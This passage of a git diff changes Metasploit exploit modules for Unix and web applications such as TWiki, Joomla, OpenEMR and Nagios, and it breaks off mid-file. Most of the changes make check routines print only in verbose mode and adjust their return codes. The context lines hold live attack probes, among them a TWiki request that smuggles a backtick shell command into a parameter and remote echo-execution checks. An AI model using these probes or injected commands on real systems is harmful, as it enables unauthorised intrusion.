a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index 0cdca26ede..78acb267d1 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -56,7 +56,7 @@ class Metasploit4 < Msf::Exploit::Local def check stat = session.fs.file.stat(datastore["Nmap"]) if stat and stat.file? and stat.setuid? - print_good("#{stat.prettymode} #{datastore["Nmap"]}") + vprint_good("#{stat.prettymode} #{datastore["Nmap"]}") return CheckCode::Vulnerable end return CheckCode::Safe diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index 56be38b558..60fbffab6f 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote # send check fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4) - print_status("#{@peer} - Sending check") + vprint_status("#{@peer} - Sending check") connect req = "service launcher\n" req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n" @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote elsif res and res =~ /QCONN/ return Exploit::CheckCode::Detected else - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end end diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index 63d47f8458..f0d80253af 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect banner = sock.get_once.strip - print_status("#{rhost}:#{rport} - Banner: #{banner}") + vprint_status("#{rhost}:#{rport} - Banner: #{banner}") disconnect # Vulnerable version info obtained from CVE diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 7529d55850..1d4cf75356 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - print_status("#{peer} - Version #{version} detected") + vprint_status("#{peer} - Version #{version} detected") if version > "10.0.10" return Exploit::CheckCode::Safe end # Check for vulnerable component - print_status("#{peer} - Trying to detect the vulnerable component") + vprint_status("#{peer} - Trying to detect the vulnerable component") res = send_request_cgi({ 'method' => 'GET', @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 435677d479..0ac6810817 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote # Check version peer = "#{rhost}:#{rport}" - print_status("#{peer} - Trying to detect installed version") + vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', @@ -67,12 +67,12 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - print_status("#{peer} - Version #{version} detected") + vprint_status("#{peer} - Version #{version} detected") if version > "2.6" return Exploit::CheckCode::Safe else - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 929f0f23c4..54994f0a79 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 25) if (res and res.body =~ /Coppermine Picture Editor/i) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index e21e9f9294..da7be29e11 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body.empty? - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 08e9f91c85..020ff6a9d6 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({'uri' => uri}) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end @@ -71,10 +71,10 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - print_status("#{peer} - Version found: #{version}") + vprint_status("#{peer} - Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif version <= "6.0.8" return Exploit::CheckCode::Detected else diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index 2c62df9b48..a5b410086f 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -164,11 +164,11 @@ class Metasploit3 < Msf::Exploit::Remote if version <= "1.1.6" return Exploit::CheckCode::Appears else - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Detected end end - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index 246d170d5a..16e14a3c94 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -73,15 +73,14 @@ class Metasploit3 < Msf::Exploit::Remote }, 10) if (res and res.body =~ /cannot be resolved to an ip address/) - print_status("This system appears to be vulnerable") - return Exploit::CheckCode::Vulnerable + vprint_status("This system appears to be vulnerable") + return Exploit::CheckCode::Appears end if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/) - print_status("This system appears to be patched") + vprint_status("This system appears to be patched") end - print_status("This system is not exploitable") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index ce2340c4be..ae6cfbfe69 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote login if not @session_id or @session_id.empty? - print_error "#{peer} - Authentication failed" + vprint_error "#{peer} - Authentication failed" return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 59f4fc4945..bfabfaf7ea 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({'uri' => uri}) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end @@ -69,11 +69,11 @@ class Metasploit3 < Msf::Exploit::Remote version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || '' if not version.empty? and version =~ /1\.1\.7/ - print_status("#{peer} - Version found: #{version}") - return Exploit::CheckCode::Vulnerable + vprint_status("#{peer} - Version found: #{version}") + return Exploit::CheckCode::Appears end - Exploit::CheckCode::Unknown + Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 6eca2fc931..570fb63323 100644 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -52,18 +52,11 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res - if res.body.match(/Build Date/) - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe - end - else - return Exploit::CheckCode::Unknown + if res and res.body.match(/Build Date/) + return Exploit::CheckCode::Vulnerable end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - return Exploit::CheckCode::Unknown + Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb index d4aa24d0ab..8be862ed3b 100644 --- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb +++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote version = ( get_version || '').to_s if (version.match(%r{1\.5\.7\.1[0-4]?})) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index e24b7604ed..6149c8cdfd 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote if res and (res.code == 200 or res.code == 302) if res.body =~ /You are not authorised to view this resource/ - print_status("#{peer} - Joomla Media Manager Found but authentication required") + vprint_status("#{peer} - Joomla Media Manager Found but authentication required") return Exploit::CheckCode::Detected elsif res.body =~ /<form action="(.*)" id="uploadForm"/ - print_status("#{peer} - Joomla Media Manager Found and authentication isn't required") + vprint_status("#{peer} - Joomla Media Manager Found and authentication isn't required") return Exploit::CheckCode::Detected end end diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index eaf385d144..a3006ed24e 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 25) if (res and res.body =~ /flexupload.swf/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 961dcb3417..5a92be4d6e 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -63,21 +63,19 @@ class Metasploit3 < Msf::Exploit::Remote # Checks if target is Kimai version 0.9.2.x # def check - print_status("#{peer} - Checking version...") + vprint_status("#{peer} - Checking version...") res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") }) if not res - print_error("#{peer} - Request timed out") + vprint_error("#{peer} - Request timed out") return Exploit::CheckCode::Unknown elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/ version = "#{$1}" print_good("#{peer} - Found version: #{version}") if version >= "0.9.2" and version <= "0.9.2.1306" - return Exploit::CheckCode::Detected - else - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Appears end end - Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 29f54e4d8f..09bb854bec 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({'uri' => normalize_uri(target_uri.path)}) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 791d0653ee..913641b07b 100644 --- a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - print_status("Checking target") + vprint_status("Checking target") res = send_request_raw({ 'method' => 'GET', 'uri' => uri diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index ee122919cf..4bba1a2ef0 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -164,16 +164,16 @@ class Metasploit3 < Msf::Exploit::Remote mytarget = select_target(banner, version) if mytarget.nil? - print_error("No matching target") + vprint_error("No matching target") return CheckCode::Unknown end if alert.nil? - print_error("At least one ALERT is needed in order to exploit") + vprint_error("At least one ALERT is needed in order to exploit") return CheckCode::Detected end - return CheckCode::Vulnerable + return CheckCode::Appears end def exploit diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 2a1d2c68bf..0295f0f7db 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 404 - print_error("Remote host does not have Graph Explorer installed.") + vprint_error("Remote host does not have Graph Explorer installed.") elsif res and res.body =~ /Your session has timed out/ return Exploit::CheckCode::Detected end diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 6f65bc56a8..3672d2fb00 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -83,14 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote def check sig = rand_text_alpha(rand(10) + 5) #The string to check - print_status("#{peer} - Looking for signature '#{sig}'...") + vprint_status("#{peer} - Looking for signature '#{sig}'...") res = remote_exe("echo #{sig}") if res and res.body =~ /#{sig}/ - print_status("#{peer} - Signature '#{sig}' found.") + vprint_status("#{peer} - Signature '#{sig}' found.") return Exploit::CheckCode::Vulnerable else - print_status("#{peer} - Signature not found") + vprint_status("#{peer} - Signature not found") return Exploit::CheckCode::Safe end end diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index 65916cc599..0669cfdd87 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -77,13 +77,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "ofc_upload_image.php"), }) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown elsif res.code.to_i == 404 - print_error("#{peer} - No ofc_upload_image.php found") + vprint_error("#{peer} - No ofc_upload_image.php found") elsif res and res.code == 200 and res.body =~ /Saving your image to/ vprint_status("#{peer} - Found ofc_upload_image.php") - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index a4c76f8a81..a795414f59 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -69,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - print_status("#{peer} - Version #{version} detected") + vprint_status("#{peer} - Version #{version} detected") if version < "4.1.2" - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index dfffcc4287..243b6b31ff 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote peer = "#{rhost}:#{rport}" # Check version - print_status("#{peer} - Trying to detect installed version") + vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', @@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - print_status("#{peer} - Version #{version} detected") + vprint_status("#{peer} - Version #{version} detected") if version > "4.1.1" return Exploit::CheckCode::Safe end # Check for vulnerable component - print_status("#{peer} - Trying to detect the vulnerable component") + vprint_status("#{peer} - Trying to detect the vulnerable component") res = send_request_cgi({ 'method' => 'GET', @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body =~ /Saving your image to/ - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 6db0c66ab7..5e24801888 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote def check return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD']) fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) - print_status("#{peer} - Sending check") + vprint_status("#{peer} - Sending check") res = execute_command("echo #{fingerprint}") if res and res.body =~ /align=center>#{fingerprint}/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 17e82bfdec..a0eac8db57 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe if (vers[0] > 2) return Exploit::CheckCode::Safe if (vers[1] > 8) return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 1f31db9b3d..eb1393d33a 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -79,14 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown - + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index 3f3b786b33..b39281daca 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote if response.code == 200 return Exploit::CheckCode::Detected end - print_error("Server responded with #{response.code}") + vprint_error("Server responded with #{response.code}") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 49ca4bd598..cdb3f7c30a 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Checking uri #{rhost+tpath+uri}") response = send_request_raw({ 'uri' => tpath+uri}) return Exploit::CheckCode::Detected if response.code == 200 - print_error("Server responded with #{response.code}") + vprint_error("Server responded with #{response.code}") return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb index fa17f8521d..d0ffa55992 100644 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb @@ -183,14 +183,14 @@ class Metasploit3 < Msf::Exploit::Remote def check res = wordpress_and_online? unless res - print_error("#{peer} does not seeem to be Wordpress site") + vprint_error("#{peer} does not seeem to be Wordpress site") return Exploit::CheckCode::Unknown end if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/ version = $1 if version <= "0.9.2.8" - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end end diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 713de00e18..c9e2c4f6a2 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 92728f82a2..555fe9b6e0 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -61,13 +61,13 @@ class Metasploit3 < Msf::Exploit::Remote if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) ver = [ $1.to_i, $2.to_i, $3.to_i ] - print_status("Simple PHP Blog #{ver.join('.')}") + vprint_status("Simple PHP Blog #{ver.join('.')}") if (ver[0] == 0 and ver[1] < 5) if (ver[1] == 4 and ver[2] > 0) return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end end diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index e7e821bf1c..0333f6ad1b 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("SPIP Version detected: #{version}") if version =~ /^2\.0/ and version < "2.0.21" - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif version =~ /^2\.1/ and version < "2.1.16" return Exploit::CheckCode::Appears elsif version =~ /^3\.0/ and version < "3.0.3" diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 632ad5f357..fd6fe00363 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if response.code == 422 - print_status("Got HTTP 422 result, target may be vulnerable") + vprint_status("Got HTTP 422 result, target may be vulnerable") return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index 2322a13a9d..6d1469c346 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe if (ver2 > 8) return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0) end - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index 90757d4519..7aa18c42ea 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote http_fingerprint({ :response => res }) # check method if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/)) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 09abcf49e0..133b26b8a0 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -62,37 +62,37 @@ class Metasploit3 < Msf::Exploit::Remote uri = normalize_uri(datastore['URI']) target_code = 200 - print_status "Attempting to POST to #{uri}" + vprint_status "Attempting to POST to #{uri}" response = send_request_cgi({'uri' => uri, 'method' => 'POST'}) unless defined? response - print_error 'Server did not respond to HTTP POST request' - return Exploit::CheckCode::Safe + vprint_error 'Server did not respond to HTTP POST request' + return Exploit::CheckCode::Unknown end code = response.code unless code == target_code - print_error "Expected HTTP code #{target_code}, but got #{code}." + vprint_error "Expected HTTP code #{target_code}, but got #{code}." return Exploit::CheckCode::Safe end - print_status "We received the expected HTTP code #{target_code}" + vprint_status "We received the expected HTTP code #{target_code}" # We will need the cookie PHPSESSID to continue cookies = response.headers['Set-Cookie'] # Make sure cookies were set if defined? cookies and cookies =~ PHPSESSID_REGEX - print_status "We were successfully sent a PHPSESSID of '#{$1}'" + vprint_status "We were successfully sent a PHPSESSID of '#{$1}'" else - print_error 'The server did not send us the cookie we were looking for' + vprint_error 'The server did not send us the cookie we were looking for' return Exploit::CheckCode::Safe end # Okay, at this point we're just being silly and hackish. unless response.body =~ /langChoice/ - print_error 'The page does not appear to contain a langChoice field' + vprint_error 'The page does not appear to contain a langChoice field' return Exploit::CheckCode::Safe end @@ -109,17 +109,17 @@ class Metasploit3 < Msf::Exploit::Remote # Example footer: v2.6.1 ©2008 Fonality # if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}©200[0-8] Fonality/ if response.body =~ /(v2\.6\.1)\s{2}©2008 Fonality/ - print_status "Trixbox #{$1} detected!" - return Exploit::CheckCode::Vulnerable + vprint_status "Trixbox #{$1} detected!" + return Exploit::CheckCode::Appears end - print_status 'The target may be skinned making detection too difficult' + vprint_status 'The target may be skinned making detection too difficult' if response.body =~ /trixbox - User Mode/ return Exploit::CheckCode::Detected - else - return Exploit::CheckCode::Unknown end + + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index cc7aeab507..0d1d620094 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -67,12 +67,12 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => test_url }, 25) if (not res) or (res.code != 404) - print_warning("WARNING: The test file exists already!") - return Exploit::CheckCode::Safe + vprint_warning("WARNING: The test file exists already!") + return Exploit::CheckCode::Unknown # Need to try again end # try to create it - print_status("Attempting to create #{test_url} ...") + vprint_status("Attempting to create #{test_url} ...") rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#' res = send_request_raw({ 'uri' => cmd_base + Rex::Text.uri_encode(rev) @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => cmd_base + Rex::Text.uri_encode(rev) }, 25) if (not res) or (res.code != 200) - print_warning("WARNING: unable to remove test file (#{test_file})") + vprint_warning("WARNING: unable to remove test file (#{test_file})") end return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index f96efa6af0..5a931d0f21 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -153,15 +153,15 @@ class Metasploit3 < Msf::Exploit::Remote if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/ version = $1 - print_status("Version found: #{version}") + vprint_status("Version found: #{version}") if version < "5.1.3" return Exploit::CheckCode::Appears else - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Detected end end - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index a09df6375b..2af281e256 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -62,12 +62,12 @@ class Metasploit3 < 